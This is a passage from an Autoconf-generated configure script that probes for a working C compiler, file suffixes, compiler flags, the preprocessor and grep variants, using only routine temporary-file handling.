CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl.exe do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_CC="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$ac_ct_CC" && break done if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi fi fi test -z "$CC" && { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "no acceptable C compiler found in \$PATH See \`config.log' for more details" "$LINENO" 5; } # Provide some information about the compiler. $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 set X $ac_compile ac_compiler=$2 for ac_option in --version -v -V -qversion; do { { ac_try="$ac_compiler $ac_option >&5" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compiler $ac_option >&5") 2>conftest.err ac_status=$? if test -s conftest.err; then sed '10a\ ... rest of stderr output deleted ... 10q' conftest.err >conftest.er1 cat conftest.er1 >&5 fi rm -f conftest.er1 conftest.err $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } done cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 $as_echo_n "checking whether the C compiler works... " >&6; } ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` # The possible output files: ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" ac_rmfiles= for ac_file in $ac_files do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; * ) ac_rmfiles="$ac_rmfiles $ac_file";; esac done rm -f $ac_rmfiles if { { ac_try="$ac_link_default" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link_default") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. # So ignore a value of `no', otherwise this would lead to `EXEEXT = no' # in a Makefile. We should not override ac_cv_exeext if it was cached, # so that the user can short-circuit this test for compilers unknown to # Autoconf. for ac_file in $ac_files '' do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; then :; else ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` fi # We set ac_cv_exeext here because the later test for it is not # safe: cross compilers may not add the suffix if given an `-o' # argument, so we may need to know it at that point already. # Even if this section looks crufty: it has the advantage of # actually working. break;; * ) break;; esac done test "$ac_cv_exeext" = no && ac_cv_exeext= else ac_file='' fi if test -z "$ac_file"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error 77 "C compiler cannot create executables See \`config.log' for more details" "$LINENO" 5; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 $as_echo_n "checking for C compiler default output file name... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 $as_echo "$ac_file" >&6; } ac_exeext=$ac_cv_exeext rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 $as_echo_n "checking for suffix of executables... " >&6; } if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` break;; * ) break;; esac done else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot compute suffix of executables: cannot compile and link See \`config.log' for more details" "$LINENO" 5; } fi rm -f conftest conftest$ac_cv_exeext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 $as_echo "$ac_cv_exeext" >&6; } rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { FILE *f = fopen ("conftest.out", "w"); return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF ac_clean_files="$ac_clean_files conftest.out" # Check that the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 $as_echo_n "checking whether we are cross compiling... " >&6; } if test "$cross_compiling" != yes; then { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } if { ac_try='./conftest$ac_cv_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details" "$LINENO" 5; } fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 $as_echo "$cross_compiling" >&6; } rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 $as_echo_n "checking for suffix of object files... " >&6; } if ${ac_cv_objext+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : for ac_file in conftest.o conftest.obj conftest.*; do test -f "$ac_file" || continue; case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot compute suffix of object files: cannot compile See \`config.log' for more details" "$LINENO" 5; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 $as_echo "$ac_cv_objext" >&6; } OBJEXT=$ac_cv_objext ac_objext=$OBJEXT { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU C compiler" >&5 $as_echo_n "checking whether we are using the GNU C compiler... " >&6; } if ${ac_cv_c_compiler_gnu+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_compiler_gnu=yes else ac_compiler_gnu=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 $as_echo "$ac_cv_c_compiler_gnu" >&6; } if test $ac_compiler_gnu = yes; then GCC=yes else GCC= fi ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 $as_echo_n "checking whether $CC accepts -g... " >&6; } if ${ac_cv_prog_cc_g+:} false; then : $as_echo_n "(cached) " >&6 else ac_save_c_werror_flag=$ac_c_werror_flag ac_c_werror_flag=yes ac_cv_prog_cc_g=no CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes else CFLAGS="" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : else ac_c_werror_flag=$ac_save_c_werror_flag CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_c_werror_flag=$ac_save_c_werror_flag fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 $as_echo "$ac_cv_prog_cc_g" >&6; } if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $CC option to accept ISO C89" >&5 $as_echo_n "checking for $CC option to accept ISO C89... " >&6; } if ${ac_cv_prog_cc_c89+:} false; then : $as_echo_n "(cached) " >&6 else ac_cv_prog_cc_c89=no ac_save_CC=$CC cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; /* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters inside strings and character constants. */ #define FOO(x) 'x' int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_c89=$ac_arg fi rm -f core conftest.err conftest.$ac_objext test "x$ac_cv_prog_cc_c89" != "xno" && break done rm -f conftest.$ac_ext CC=$ac_save_CC fi # AC_CACHE_VAL case "x$ac_cv_prog_cc_c89" in x) { $as_echo "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 $as_echo "none needed" >&6; } ;; xno) { $as_echo "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 $as_echo "unsupported" >&6; } ;; *) CC="$CC $ac_cv_prog_cc_c89" { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 $as_echo "$ac_cv_prog_cc_c89" >&6; } ;; esac if test "x$ac_cv_prog_cc_c89" != xno; then : fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu DEPDIR="${am__leading_dot}deps" ac_config_commands="$ac_config_commands depfiles" am_make=${MAKE-make} cat > confinc << 'END' am__doit: @echo this is the am__doit target .PHONY: am__doit END # If we don't find an include directive, just comment out the code. { $as_echo "$as_me:${as_lineno-$LINENO}: checking for style of include used by $am_make" >&5 $as_echo_n "checking for style of include used by $am_make... " >&6; } am__include="#" am__quote= _am_result=none # First try GNU make style include. echo "include confinc" > confmf # Ignore all kinds of additional output from `make'. case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=include am__quote= _am_result=GNU ;; esac # Now try BSD make style include. if test "$am__include" = "#"; then echo '.include "confinc"' > confmf case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=.include am__quote="\"" _am_result=BSD ;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $_am_result" >&5 $as_echo "$_am_result" >&6; } rm -f confinc confmf # Check whether --enable-dependency-tracking was given. if test "${enable_dependency_tracking+set}" = set; then : enableval=$enable_dependency_tracking; fi if test "x$enable_dependency_tracking" != xno; then am_depcomp="$ac_aux_dir/depcomp" AMDEPBACKSLASH='\' am__nodep='_no' fi if test "x$enable_dependency_tracking" != xno; then AMDEP_TRUE= AMDEP_FALSE='#' else AMDEP_TRUE='#' AMDEP_FALSE= fi depcc="$CC" am_compiler_list= { $as_echo "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 $as_echo_n "checking dependency style of $depcc... " >&6; } if ${am_cv_CC_dependencies_compiler_type+:} false; then : $as_echo_n "(cached) " >&6 else if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then # We make a subdir and do the tests there. Otherwise we can end up # making bogus files that we don't know about and never remove. For # instance it was reported that on HP-UX the gcc test will end up # making a dummy file named `D' -- because `-MD' means `put the output # in D'. rm -rf conftest.dir mkdir conftest.dir # Copy depcomp to subdir because otherwise we won't find it if we're # using a relative directory. cp "$am_depcomp" conftest.dir cd conftest.dir # We will build objects and dependencies in a subdirectory because # it helps to detect inapplicable dependency modes. For instance # both Tru64's cc and ICC support -MD to output dependencies as a # side effect of compilation, but ICC will put the dependencies in # the current directory while Tru64 will put them in the object # directory. mkdir sub am_cv_CC_dependencies_compiler_type=none if test "$am_compiler_list" = ""; then am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` fi am__universal=false case " $depcc " in #( *\ -arch\ *\ -arch\ *) am__universal=true ;; esac for depmode in $am_compiler_list; do # Setup a source with many dependencies, because some compilers # like to wrap large dependency lists on column 80 (with \), and # we should not choose a depcomp mode which is confused by this. # # We need to recreate these files for each test, as the compiler may # overwrite some of them when testing with obscure command lines. # This happens at least with the AIX C compiler. : > sub/conftest.c for i in 1 2 3 4 5 6; do echo '#include "conftst'$i'.h"' >> sub/conftest.c # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with # Solaris 8's {/usr,}/bin/sh. touch sub/conftst$i.h done echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf # We check with `-c' and `-o' for the sake of the "dashmstdout" # mode. It turns out that the SunPro C++ compiler does not properly # handle `-M -o', and we need to detect this. Also, some Intel # versions had trouble with output in subdirs am__obj=sub/conftest.${OBJEXT-o} am__minus_obj="-o $am__obj" case $depmode in gcc) # This depmode causes a compiler race in universal mode. test "$am__universal" = false || continue ;; nosideeffect) # after this tag, mechanisms are not by side-effect, so they'll # only be used when explicitly requested if test "x$enable_dependency_tracking" = xyes; then continue else break fi ;; msvc7 | msvc7msys | msvisualcpp | msvcmsys) # This compiler won't grok `-c -o', but also, the minuso test has # not run yet. These depmodes are late enough in the game, and # so weak that their functioning should not be impacted. am__obj=conftest.${OBJEXT-o} am__minus_obj= ;; none) break ;; esac if depmode=$depmode \ source=sub/conftest.c object=$am__obj \ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ >/dev/null 2>conftest.err && grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ${MAKE-make} -s -f confmf > /dev/null 2>&1; then # icc doesn't choke on unknown options, it will just issue warnings # or remarks (even with -Werror). So we grep stderr for any message # that says an option was ignored or not supported. # When given -MP, icc 7.0 and 7.1 complain thusly: # icc: Command line warning: ignoring option '-M'; no argument required # The diagnosis changed in icc 8.0: # icc: Command line remark: option '-MP' not supported if (grep 'ignoring option' conftest.err || grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else am_cv_CC_dependencies_compiler_type=$depmode break fi fi done cd .. rm -rf conftest.dir else am_cv_CC_dependencies_compiler_type=none fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 $as_echo "$am_cv_CC_dependencies_compiler_type" >&6; } CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type if test "x$enable_dependency_tracking" != xno \ && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then am__fastdepCC_TRUE= am__fastdepCC_FALSE='#' else am__fastdepCC_TRUE='#' am__fastdepCC_FALSE= fi if test -n "$GCC"; then CFLAGS="-O3 -Wall -g" else { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Ouch!! Only gcc is supported..." >&5 $as_echo "$as_me: WARNING: Ouch!! Only gcc is supported..." >&2;} as_fn_error $? "...you're on your own." "$LINENO" 5 fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5 $as_echo_n "checking how to run the C preprocessor... " >&6; } # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if ${ac_cv_prog_CPP+:} false; then : $as_echo_n "(cached) " >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.i conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.i conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.i conftest.err conftest.$ac_ext if $ac_preproc_ok; then : break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 $as_echo "$CPP" >&6; } ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.i conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.i conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.i conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details" "$LINENO" 5; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 $as_echo_n "checking for grep that handles long lines and -e... " >&6; } if ${ac_cv_path_GREP+:} false; then : $as_echo_n "(cached) " >&6 else if test -z "$GREP"; then ac_path_GREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in grep ggrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_GREP" && $as_test_x "$ac_path_GREP"; } || continue # Check for GNU ac_path_GREP and select it if it is found. # Check for GNU $ac_path_GREP case `"$ac_path_GREP" --version 2>&1` in *GNU*) ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'GREP' >> "conftest.nl" "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_GREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_GREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_GREP"; then as_fn_error $? "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_GREP=$GREP fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 $as_echo "$ac_cv_path_GREP" >&6; } GREP="$ac_cv_path_GREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 $as_echo_n "checking for egrep... " >&6; } if ${ac_cv_path_EGREP+:} false; then : $as_echo_n "(cached) " >&6 else if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 then ac_cv_path_EGREP="$GREP -E" else if test -z "$EGREP"; then ac_path_EGREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in egrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_EGREP" && $as_test_x "$ac_path_EGREP"; } || continue # Check for GNU ac_path_EGREP and select it if it is found. # Check for GNU $ac_path_EGREP case `"$ac_path_EGREP" --version 2>&1` in *GNU*) ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'EGREP' >> "conftest.nl" "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_EGREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_EGREP_found && break 3 done done done IFS=$as_save_IFS if 